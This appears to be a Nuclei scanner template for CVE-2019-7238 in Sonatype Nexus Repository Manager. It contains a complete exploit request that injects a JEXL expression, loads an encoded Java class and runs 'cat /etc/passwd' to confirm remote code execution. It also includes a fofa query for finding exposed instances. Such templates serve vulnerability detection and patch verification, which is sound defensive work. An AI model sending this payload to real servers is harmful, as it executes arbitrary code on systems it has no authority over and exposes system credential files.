id: CVE-2019-7238

info:
  name: Sonatype Nexus Repository Manager  <3.15.0 - Remote Code Execution
  author: pikpikcu
  severity: critical
  description: Sonatype Nexus Repository Manager before 3.15.0 is susceptible to remote code execution.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Upgrade Sonatype Nexus Repository Manager to a version higher than 3.15.0.
  reference:
    - https://github.com/jas502n/CVE-2019-7238
    - https://support.sonatype.com/hc/en-us/articles/360017310793-CVE-2019-7238-Nexus-Repository-Manager-3-Missing-Access-Controls-and-Remote-Code-Execution-February-5th-2019
    - https://nvd.nist.gov/vuln/detail/CVE-2019-7238
    - https://github.com/ycdxsb/Exploits
    - https://github.com/zhangchi991022/Comprehensive-experiment-of-infomation-security
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-7238
    epss-score: 0.76526
    epss-percentile: 0.9949
    cpe: cpe:2.3:a:sonatype:nexus:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: sonatype
    product: nexus
    fofa-query: title="nexus repository manager"
  tags: cve,cve2019,nexus,rce,kev,sonatype,vkev,vuln

http:
  - raw:
      - |
        POST /service/extdirect HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        X-Requested-With: XMLHttpRequest

        {"action": "coreui_Component", "type": "rpc", "tid": 8, "data": [{"sort": [{"direction": "ASC", "property": "name"}], "start": 0, "filter": [{"property": "repositoryName", "value": "*"}, {"property": "expression", "value": "function(x, y, z, c, integer, defineClass){   c=1.class.forName('java.lang.Character');   integer=1.class;   x='[encoded data, 6108 characters]';   y=0;   z='';   while (y lt x.length()){       z += c.toChars(integer.parseInt(x.substring(y, y+2), 16))[0];       y += 2;   };defineClass=2.class.forName('java.lang.Thread');x=defineClass.getDeclaredMethod('currentThread').invoke(null);y=defineClass.getDeclaredMethod('getContextClassLoader').invoke(x);defineClass=2.class.forName('java.lang.ClassLoader').getDeclaredMethod('defineClass','1'.class,1.class.forName('[B'),1.class.forName('[I').getComponentType(),1.class.forName('[I').getComponentType()); \ndefineClass.setAccessible(true);\nx=defineClass.invoke(\n    y,\n   'Exploit.Test234',\n    z.getBytes('latin1'),    0,\n    3054\n);x.getMethod('test', ''.class).invoke(null, 'cat /etc/passwd');'done!'}\n"}, {"property": "type", "value": "jexl"}], "limit": 50, "page": 1}], "method": "previewAssets"}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022076956cf7f07b8c4c1eba8c385bb83e9bf72f690fc727aaeb2614dc4327f4f58f022100fd294cd3a15f841a702b0fdf0479df9fcff1a2eb44a1ba6663f2995dfa4584bb:922c64590222798bb761d5b6d8e72950